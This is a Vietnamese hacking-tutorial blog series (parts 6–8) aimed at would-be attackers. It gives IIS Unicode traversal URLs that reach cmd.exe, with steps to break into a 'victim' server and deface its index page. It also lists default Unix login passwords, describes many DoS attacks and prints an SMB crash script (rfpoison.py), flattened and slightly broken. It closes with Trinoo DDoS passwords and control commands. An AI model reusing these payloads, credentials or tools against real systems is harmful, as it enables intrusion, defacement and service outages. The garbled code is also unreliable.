[8] /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+
[9] /scripts/..%c1%af../winnt/system32/cmd.exe?/c+
[10] /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+
[11]/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+
[12] /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+
[13]/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+
[14]/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe?/c+
[15]/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[16]/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[17]/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[18]/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[19]/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+
[20]/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+


Các bạn sẽ thấy được tất cả các lỗi trên nếu trang Web nạn nhân bị tất cả những lỗi như vậy , nếu server của nạn nhân chỉ bị lỗi thứ 13 và 17 thì bảng kết quả chỉ xuất hiện dòng thứ 13 và 17 mà thôi .
Tôi lấy VD là bảng kết quả cho tôi biết trang Web nạn nhân bị lỗi thứ 3 và 7 , tôi sẽ ra IE và nhập đoạn mã tương ứng trên Address :

http://www.xxx.com/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 3
hoặc
http://www.xxx.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+ < == lỗi dòng thứ 7

Đến đây các bạn đã có thể xâm nhập vào server của nạn nhân rồi đó , các bạn hãy sử dụng lệnh trong DOS mà khai thác thông tin trong này . Thông thường các trang Web nằm ở thư mục vinetpub\wwwroot , các bạn vào được rồI thì chỉ cần thay index.html vớI tên hack by …. Là được rồi , đừng quậy họ nhé .

GOOKLUCK!!!!!!!!!!!!!!!

( Hết phần 8 )

Xem Thêm

 

Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 7

Bản tóm tắt này không có sẵn. Vui lòng nhấp vào đây để xem bài đăng.

Xem Thêm

 

Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 6

 

Các kiểu tấn công mạng :

1-Tấn công trực tiếp :

Đây là một phương pháp cổ điển dùng để dò tìm tên người sử dụng (user) và mật khẩu truy cập của họ (password).Phương pháp này khá đơn giản , dễ thực hiện và không đòi hỏi bất kì một điều kiện nào để bắt đầu.Chúng ta có thể sử dụng những thông tin như tên người dùng , ngày sinh , địa chỉ , số nhà ... để đoán mật khẩu.Trong trường hợp có được có được danh sách người sử dụng (user list ) và môi trường làm việc , một chương trình đoán mật khẩu sẽ được sử dụng. Nó hoạt động một cách tự động bằng cách sử dụng các tổ hợp các từ trong một từ điển lớn và theo những qui tắc mà người dùng định nghĩa.Khả năng thành công của phương pháp này có thể lên đến 30% (nếu bạn may mắn).Và khi thành công ta sẽ có được quyền Admin , Root.
Hai chương trình thường được dùng cho phương pháp này là chương trình Sendmail và Rlogin của hệ thống Unix.

Sendmail là một chương trình phức tạp với mã nguồn bao gồm hàng ngàn dòng lệnh C . Sendmail được chạy với quyền của người quản trị hệ thống do chương trình phải có quyền ghi vào hộp thư của người sử dụng. Vì Sendmail nhận trực tiếp các yêu cầu về mạng thư tín bên ngoài nên nó trở thành nguồn cung cấp những lỗ hổng bảo mật để truy cập hệ thống.

Rlogin cho phép người sử dụng từ một máy trên mạng truy cập từ xa vào một máy khác sử dụng tài nguyên của máy này. Trong quá trình nhận tên và mật khẩu của người sử dụng , rlogin không kiểm tra độ dài dòng nhập nên ta có thể đưa vào một xâu lệnh đã được tính toán trước để ghi đè lên mã chương trình của Rlogin , từ đó chiếm quyền truy cập.

2-Nghe trộm

Việc nghe trộm thông tin trên mạng có thể đem lại những thông tin có ích như tên , mật khẩu của người sử dụng , các thông tin chuyển qua mạng…Việc nghe trộm thường được các hacker tiến hành sau khi chiếm được quyền truy cập hệ thống thông qua các chương trình cho phép đưa giao tiếp mạng (NIC – Network Interface Card) vào chế độ nhận toàn thông tin lưu truyền trên mạng.Những thông tin này cũng có thể lấy được trên Internet.

3-Giả mạo địa chỉ IP :

Việc này có thể thực hiện thông qua việc dẫn đường trực tiếp.Với các tấn công này , các hacker sẽ gởi các gói tin IP tới mạng bên trong với một địa chỉ IP giả (Thông thường là IP của một mạng hoặc một máy tính được coi là an toàn đối với mạng bên trong) ,đồng thời chỉ rõ đường dẫn má các gói tin IP phải gửi đi.

4-Vô hiệu các chức năng của hệ thống :

Đây là kiểu tấn công làm tê liệt hệ thống , không cho nó thực hiện các chức năng mà nó được thiết kế. Kiểu tấn công này không ngăn chặc được do các phương tiện để tấn công lại chính là những phương tiện để làm việc và truy cập thông tin trên mạng.Ví dụ như sử dụng lệnh ping với tốc độ cao nhất có thể buộc một hệ thống tiêu hao toàn bộ tốc độ tính toán và khả năng của mạng để trả lời các lệnh này , không còn tài nguyên để thực hiện những việc khác.

5-Tấn công vào yếu tố con người :

Hacker có thể già làm người sử dụng , sau đó yêu cầu người quản trị hệ thống thay đổi mật khẩu và quyền truy cập của mình đối với hệ thống hay thay đổi một số cấu hình hệ thống để thực hiện những phương pháp tấn công khác.Không có một thiết bị nào có thể ngăn chặng được phương pháp này ngoài sự cảnh giác của người quản trị hệ thống.

Ok , tôi sẽ nói cho bạn biết làm sao một hệ thống Unix có thể chào hỏI bạn khi bạn kết nối tới nó . Đầu tiên , khi bạn gọi Unix , thông thường nó sẽ xuất hiện một dấu nhắc : “ Log in : ” , ( tuy nhiên , chỉ với như vậy thì cũng chưa chắc chắn đây là Unix được ngoạI trừ chúng xuất hiện thông báo ở trước chữ “ log in :” như ví dụ : Welcome to SHUnix. Please log in ….)
Bây giờ ta đang ở tạI dấu nhắc “log in” , bạn cần phảI nhập vào một account hợp lệ . Một account thông thường gồm có 8 đặc tính hoặc hơn , sau khi bạn nhập account vào , bạn sẽ thấy có một mật khẩu , bạn hãy thử nhập Default Password thử theo bảng sau :

Account-------------------------Default Password


Root-----------------------------------------------Root
Sys------------------------------------------------Sys / System / Bin
Bin-------------------------------------------------Sys / Bin
Mountfsy------------------------------------------Mountfsys
Nuuc-----------------------------------------------Anon
Anon-----------------------------------------------Anon
User------------------------------------------------User
Games---------------------------------------------Games
Install----------------------------------------------Install
Demo-----------------------------------------------Demo
Guest----------------------------------------------Guest



Xin bổ sung thêm là :


login: root pw: root
login: root pw: system
login: root pw: sysop
login: sys pw: sys
login: sys pw: system
login: daemon pw: daemon
login: uucp pw: uucp
login: tty pw: tty
login: test pw: test
login: unix pw: unix
login: unix pw: test
login: bin pw: bin
login: adm pw: adm
login: adm pw: admin
login: admin pw: admin
login: sysman pw: sysman
login: sysman pw: sys
login: sysman pw: system
login: sysadmin pw: sysadmin
login: sysadmin pw: system
login: sysadmin pw: sys
login: sysadmin pw: admin
login: sysadmin pw: adm
login: who pw: who
login: learn pw: learn
login: uuhost pw: uuhost
login: guest pw: guest
login: host pw: host
login: nuucp pw: nuucp
login: rje pw: rje
login: games pw: games
login: games pw: player
login: sysop pw: sysop
login: demo pw: demo

Và đây là phần 6

38 . ) DoS attack là gì ? ( Denial Of Services Attack )

_ DoS attack ( dịch là tấn công từ chối dịch vụ ) là kiểu tấn công rất lợi hại , với loại tấn công này , bạn chỉ cần một máy tính kết nối Internet là đã có thể thực hiện việc tấn công được máy tính của đốI phương . thực chất của DoS attack là hacker sẽ chiếm dụng một lượng lớn tài nguyên trên server ( tài nguyên đó có thể là băng thông, bộ nhớ, cpu, đĩa cứng, ... ) làm cho server không thể nào đáp ứng các yêu cầu từ các máy của nguời khác ( máy của những người dùng bình thường ) và server có thể nhanh chóng bị ngừng hoạt động, crash hoặc reboot .

39 . ) Các loại DoS attack hiện đang được biết đến và sử dụng :

a . ) Winnuke :

_DoS attack loại này chỉ có thể áp dụng cho các máy tính đang chạy Windows9x . Hacker sẽ gởi các gói tin với dữ liệu "Out of Band" đến cổng 139 của máy tính đích.( Cổng 139 chính là cổng NetBIOS, cổng này chỉ chấp nhận các gói tin có cờ Out of Band được bật ) . Khi máy tính của victim nhận được gói tin này, một màn hình xanh báo lỗi sẽ được hiển thị lên với nạn nhân do chương trình của Windows nhận được các gói tin này nhưng nó lại không biết phản ứng với các dữ liệu Out Of Band như thế nào dẫn đến hệ thống sẽ bị crash .

b . ) Ping of Death :

_ Ở kiểu DoS attack này , ta chỉ cần gửi một gói dữ liệu có kích thước lớn thông qua lệnh ping đến máy đích thì hệ thống của họ sẽ bị treo .
_ VD : ping –l 65000

c . ) Teardrop :

_ Như ta đã biết , tất cả các dữ liệu chuyển đi trên mạng từ hệ thống nguồn đến hệ thống đích đều phải trải qua 2 quá trình : dữ liệu sẽ được chia ra thành các mảnh nhỏ ở hệ thống nguồn, mỗi mảnh đều phải có một giá trị offset nhất định để xác định vị trí của mảnh đó trong gói dữ liệu được chuyển đi. Khi các mảnh này đến hệ thống đích, hệ thống đích sẽ dựa vào giá trị offset để sắp xếp các mảnh lại với nhau theo thứ tự đúng như ban đầu . Lợi dụng sơ hở đó , ta chỉ cần gởi đến hệ thống đích một loạt gói packets với giá trị offset chồng chéo lên nhau. Hệ thống đích sẽ không thể nào sắp xếp lại các packets này, nó không điều khiển được và có thể bị crash, reboot hoặc ngừng hoạt động nếu số lượng gói packets với giá trị offset chồng chéo lên nhau quá lớn !

d . ) SYN Attack :

_ Trong SYN Attack, hacker sẽ gởi đến hệ thống đích một loạt SYN packets với địa chỉ ip nguồn không có thực. Hệ thống đích khi nhận được các SYN packets này sẽ gởi trở lại các địa chỉ không có thực đó và chờ đợI để nhận thông tin phản hồi từ các địa chỉ ip giả . Vì đây là các địa chỉ ip không có thực, nên hệ thống đích sẽ sẽ chờ đợi vô ích và còn đưa các "request" chờ đợi này vào bộ nhớ , gây lãng phí một lượng đáng kể bộ nhớ trên máy chủ mà đúng ra là phải dùng vào việc khác thay cho phải chờ đợi thông tin phản hồi không có thực này . Nếu ta gởi cùng một lúc nhiều gói tin có địa chỉ IP giả như vậy thì hệ thống sẽ bị quá tải dẫn đến bị crash hoặc boot máy tính . == > ném đá dấu tay .

e . ) Land Attack :

_ Land Attack cũng gần giống như SYN Attack, nhưng thay vì dùng các địa chỉ ip không có thực, hacker sẽ dùng chính địa chỉ ip của hệ thống nạn nhân. Điều này sẽ tạo nên một vòng lặp vô tận giữa trong chính hệ thống nạn nhân đó, giữa một bên cần nhận thông tin phản hồi còn một bên thì chẳng bao giờ gởi thông tin phản hồi đó đi cả . == > Gậy ông đập lưng ông .

f . ) Smurf Attack :

_Trong Smurf Attack, cần có ba thành phần: hacker (người ra lệnh tấn công), mạng khuếch đại (sẽ nghe lệnh của hacker) và hệ thống của nạn nhân. Hacker sẽ gởi các gói tin ICMP đến địa chỉ broadcast của mạng khuếch đại. Điều đặc biệt là các gói tin ICMP packets này có địa chỉ ip nguồn chính là địa chỉ ip của nạn nhân . Khi các packets đó đến được địa chỉ broadcast của mạng khuếch đại, các máy tính trong mạng khuếch đại sẽ tưởng rằng máy tính nạn nhân đã gởi gói tin ICMP packets đến và chúng sẽ đồng loạt gởi trả lại hệ thống nạn nhân các gói tin phản hồi ICMP packets. Hệ thống máy nạn nhân sẽ không chịu nổi một khối lượng khổng lồ các gói tin này và nhanh chóng bị ngừng hoạt động, crash hoặc reboot. Như vậy, chỉ cần gởi một lượng nhỏ các gói tin ICMP packets đi thì hệ thống mạng khuếch đại sẽ khuếch đại lượng gói tin ICMP packets này lên gấp bộI . Tỉ lệ khuếch đại phụ thuộc vào số mạng tính có trong mạng khuếch đạI . Nhiệm vụ của các hacker là cố chiếm được càng nhiều hệ thống mạng hoặc routers cho phép chuyển trực tiếp các gói tin đến địa chỉ broadcast không qua chỗ lọc địa chỉ nguồn ở các đầu ra của gói tin . Có được các hệ thống này, hacker sẽ dễ dàng tiến hành Smurf Attack trên các hệ thống cần tấn công . == > một máy làm chẳng si nhê , chục máy chụm lại ta đành chào thua .

g . ) UDP Flooding :

_ Cách tấn công UDP đòi hỏi phải có 2 hệ thống máy cùng tham gia. Hackers sẽ làm cho hệ thống của mình đi vào một vòng lặp trao đổi các dữ liệu qua giao thức UDP. Và giả mạo địa chỉ ip của các gói tin là địa chỉ loopback ( 127.0.0.1 ) , rồi gởi gói tin này đến hệ thống của nạn nhân trên cổng UDP echo ( 7 ). Hệ thống của nạn nhân sẽ trả lời lại các messages do 127.0.0.1( chính nó ) gởi đến , kết quả là nó sẽ đi vòng một vòng lặp vô tận. Tuy nhiên, có nhiều hệ thống không cho dùng địa chỉ loopback nên hacker sẽ giả mạo một địa chỉ ip của một máy tính nào đó trên mạng nạn nhân và tiến hành ngập lụt UDP trên hệ thống của nạn nhân . Nếu bạn làm cách này không thành công thì chính máy của bạn sẽ bị đấy .

h . ) Tấn công DNS :

_ Hacker có thể đổi một lối vào trên Domain Name Server của hệ thống nạn nhân rồi cho chỉ đến một website nào đó của hacker. Khi máy khách yêu cầu DNS phân tích địa chỉ bị xâm nhập thành địa chỉ ip, lập tức DNS ( đã bị hacker thay đổi cache tạm thờI ) sẽ đổi thành địa chỉ ip mà hacker đã cho chỉ đến đó . Kết quả là thay vì phải vào trang Web muốn vào thì các nạn nhân sẽ vào trang Web do chính hacker tạo ra . Một cách tấn công từ chối dịch vụ thật hữu hiệu !.

g . ) Distributed DoS Attacks ( DDos ) :

_ DDoS yêu cầu phải có ít nhất vài hackers cùng tham gia. Đầu tiên các hackers sẽ cố thâm nhập vào các mạng máy tính được bảo mật kém, sau đó cài lên các hệ thống này chương trình DDoS server. Bây giờ các hackers sẽ hẹn nhau đến thời gian đã định sẽ dùng DDoS client kết nối đến các DDoS servers, sau đó đồng loạt ra lệnh cho các DDoS servers này tiến hành tấn công DDoS đến hệ thống nạn nhân .

h . ) DRDoS ( The Distributed Reflection Denial of Service Attack ) :

_ Đây có lẽ là kiểu tấn công lợi hại nhất và làm boot máy tính của đối phương nhanh gọn nhất . Cách làm thì cũng tương tự như DDos nhưng thay vì tấn công bằng nhiều máy tính thì ngườI tấn công chỉ cần dùng một máy tấn công thông qua các server lớn trên thế giới . Vẫn với phương pháp giả mạo địa chỉ IP của victim , kẻ tấn công sẽ gởi các gói tin đến các server mạnh nhất , nhanh nhất và có đường truyền rộng nhất như Yahoo .v.v… , các server này sẽ phản hồi các gói tin đó đến địa chỉ của victim . Việc cùng một lúc nhận được nhiều gói tin thông qua các server lớn này sẽ nhanh chóng làm nghẽn đường truyền của máy tính nạn nhân và làm crash , reboot máy tính đó . Cách tấn công này lợi hại ở chỗ chỉ cần một máy có kết nối Internet đơn giản với đường truyền bình thường cũng có thể đánh bật được hệ thống có đường truyền tốt nhất thế giớI nếu như ta không kịp ngăn chặn . Trang Web HVA của chúng ta cũng bị DoS vừa rồi bởi cách tấn công này đấy .

40 . ) Kỹ thuật DoS Web bằng Python :

_ Kỹ thuật này chỉ có thể sử dụng duy nhất trên WinNT , và bạn cần phải có thời gian thì máy tính của nạn nhân mới bị down được .
_ Bạn hãy download Pyphon tại http://www.python.org/ để sử dụng .
_ Bạn hãy save đoạn mã sau lên file rfpoison.py .

CODE
import string
import struct
from socket import *
import sys
def a2b(s):
bytes = map(lambda x: string.atoi(x, 16),
string.split(s))
data = string.join(map(chr, bytes), '')
return data
def b2a(s):
bytes = map(lambda x: '%.2x' % x, map(ord, s))
return string.join(bytes, ' ')

# Yêu cầu tập hợp NBSS
nbss_sessionfiltered= a2b("""
81 00 00 48 20 43 4b 46 44 45
4e 45 43 46 44 45 46 46 43 46 47 45 46 46 43 43
41 43 41 43 41 43 41 43 41 43 41 00 20 45 48 45
42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46
43 43 41 43 41 43 41 43 41 43 41 41 41 00 00 00
00 00
""")

# Tạo SMB
crud = (
# Yêu cầu SMBnegprot
"""
ff 53 4d 42 72 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 00 01 00 00 81 00 02 50 43
20 4e 45 54 57 4f 52 4b 20 50 52 4f 47 52 41 4d
20 31 2e 30 00 02 4d 49 43 52 4f 53 4f 46 54 20
4e 45 54 57 4f 52 4b 53 20 31 2e 30 33 00 02 4d
49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b
53 20 33 2e 30 00 02 4c 41 4e 4d 41 4e 31 2e 30
00 02 4c 4d 31 2e 32 58 30 30 32 00 02 53 61 6d
62 61 00 02 4e 54 20 4c 41 4e 4d 41 4e 20 31 2e
30 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00
""",
# Yêu cầu setup SMB X
"""
ff 53 4d 42 73 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 00 01 00 0d ff 00 00 00 ff
ff 02 00 f4 01 00 00 00 00 01 00 00 00 00 00 00
00 00 00 00 00 17 00 00 00 57 4f 52 4b 47 52 4f
55 50 00 55 6e 69 78 00 53 61 6d 62 61 00
""",
# Yêu cầu SMBtconX
"""
ff 53 4d 42 75 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 08 01 00 04 ff 00 00 00 00
00 01 00 17 00 00 5c 5c 2a 53 4d 42 53 45 52 56
45 52 5c 49 50 43 24 00 49 50 43 00
""",
# Yêu cầu khởI tạo SMBnt X
"""
ff 53 4d 42 a2 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 18 ff 00 00 00 00
07 00 06 00 00 00 00 00 00 00 9f 01 02 00 00 00
00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 00
00 00 00 00 00 00 02 00 00 00 00 08 00 5c 73 72
76 73 76 63 00
""",
# yêu cầu biên dịch SMB
"""
ff 53 4d 42 25 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 10 00 00 48 00 00
00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 4c
00 48 00 4c 00 02 00 26 00 00 08 51 00 5c 50 49
50 45 5c 00 00 00 05 00 0b 00 10 00 00 00 48 00
00 00 01 00 00 00 30 16 30 16 00 00 00 00 01 00
00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78
5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c
c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00
""",
# SMBtrans Request
"""
ff 53 4d 42 25 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 10 00 00 58 00 00
00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 4c
00 58 00 4c 00 02 00 26 00 00 08 61 00 5c 50 49
50 45 5c 00 00 00 05 00 00 03 10 00 00 00 58 00
00 00 02 00 00 00 48 00 00 00 00 00 0f 00 01 00
00 00 0d 00 00 00 00 00 00 00 0d 00 00 00 5c 00
5c 00 2a 00 53 00 4d 00 42 00 53 00 45 00 52 00
56 00 45 00 52 00 00 00 00 00 01 00 00 00 01 00
00 00 00 00 00 00 ff ff ff ff 00 00 00 00
"""
)
crud = map(a2b, crud)
def smb_send(sock, data, type=0, flags=0):
d = struct.pack('!BBH', type, flags, len(data))
#print 'send:', b2a(d+data)
sock.send(d+data)
def smb_recv(sock):
s = sock.recv(4)
assert(len(s) == 4)
type, flags, length = struct.unpack('!BBH', s)
data = sock.recv(length)
assert(len(data) == length)
#print 'recv:', b2a(s+data)
return type, flags, data
def nbss_send(sock, data):
sock.send(data)
def nbss_recv(sock):
s = sock.recv(4)
assert(len(s) == 4)
return s
def main(host, port=139):
s = socket(AF_INET, SOCK_STREAM)
s.connect(host, port)
nbss_send(s, nbss_session)
nbss_recv(s)
for msg in crud[:-1]:
smb_send(s, msg)
smb_recv(s)
smb_send(s, crud[-1]) # no response to this
s.close()
if __name__ == '__main__':
print 'Sending poison...',
main(sys.argv[1])
print 'done.'


Để có thể làm down được server của đối phương bạn cần phải có thời gian DoS , nếu không có điều kiện chờ đợi tốt nhất bạn không nên sử dụng cách này . Nhưng “vọc” thử cho biết thì được đúng không ?

41 . ) Tấn công DDoS thông qua Trinoo :

_ Bạn đã biết DDoS attack là gì rồi phải không ? Một cuộc tấn công DDoS bằng Trinoo được thực hiện bởi một kết nối của Hacker Trinoo Master và chỉ dẫn cho Master để phát động một cuộc tấn công DDoS đến một hay nhiều mục tiêu. Trinoo Master sẽ liên lạc với những Deadmons đưa những địa chỉ được dẫn đến để tấn công một hay nhiều mục tiêu trong khoảng thời gian xác định .
_ Cả Master và Deamon đều được bảo vệ bằng Passwd . chỉ khi chúng ta biết passwd thì mới có thể điều khiển được chúng , điều này không có gì khó khăn nếu chúng ta là chủ nhân thực sự của chúng . Những passwd này thường được mã hoá và bạn có thể thiết lập khi biên dịch Trinoo từ Source -----> Binnary. Khi được chạy , Deadmons sẽ hiện ra một dấu nhắc và chờ passwd nhập vào , nếu passwd nhập sai nó sẽ tự động thoát còn nếu passwd được nhập đúng thì nó sẽ tự động chạy trên nền của hệ thống .

attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
kwijibo
Connection closed by foreign host. < == Bạn đã nhập sai


attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
betaalmostdone
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]
trinoo> < == bạn đã vào được hệ thống trinoo

_ Đây là vài passwd mặc định :

“l44adsl": pass của trinoo daemon .
"gorave": passwd của trinoo master server khi startup .
"betaalmostdone": passwd điều khiển từ xa chung cho trinoo master .
"killme": passwd trinoo master điều khiển lệnh "mdie" .

_ Đây là một số lệnh dùng để điều khiển Master Server:


CODE
die------------------------------------------------------------Shutdown.
quit------------------------------------------------------------Log off.
mtimer N----------------------------------------------------Đặt thờI gian để tấn công DoS , vớI N nhận giá trị từ 1--> 1999 giây .
dos IP-------------------------------------------------------Tấn công đến một địa chỉ IP xác định .
mdie pass---------------------------------------------------Vô hiệu hoá tất cả các Broadcast , nếu như passwd chính xác . Một lệnh đưọc gửi tới ("d1e l44adsl") Broadcast để Shutdown chúng . Một passwd riêng biệt sẽ được đặt cho mục này
mping--------------------------------------------------------Gửi một lệnh ping tới ("png l44adsl") c¸c Broadcast.
mdos <ip1:ip2..> ------------------------------------------Send nhiều lênh DOS ("xyz l44adsl 123:ip1:ip2") đến các Broadcast.
info-------------------------------------------------------------Hiển thị thông tin về Trinoo .
msize----------------------------------------------------------Đặt kích thước đệm cho những gói tin được send đi trong suốt thờI gian DoS.
nslookup host----------------------------------------------Xác định tên thiết bị của Host mà Master Trinoo đang chạy .
usebackup---------------------------------------------------Chuyển tớI các file Broadcast sao lưu được tạo bởi lệnh “killdead”.
bcast-----------------------------------------------------------Liệt kê danh sách tất cả các Broadcast có thể khai thác .
help [cmd] ---------------------------------------------------Đưa ra danh sách các lệnh .
mstop-----------------------------------------------------------Ngừng lại các cuốc tấn công DOS .


_ Đây là một số lệnh dùng để điều khiển Trinoo Deadmons:

CODE
aaa pass IP----------------------------------------------------Tấn công đến địa chỉ IP đã xác định . GửI gói tin UDP (0-65534) đến cổng của UDP của địa chỉ IP đã xác định trong một khoảng thời gian xác định được mặc định là 120s hay từ 1-->1999 s .
bbb pass N-----------------------------------------------------Đặt thờI gian giới hạn cho các cuộc t

Xem Thêm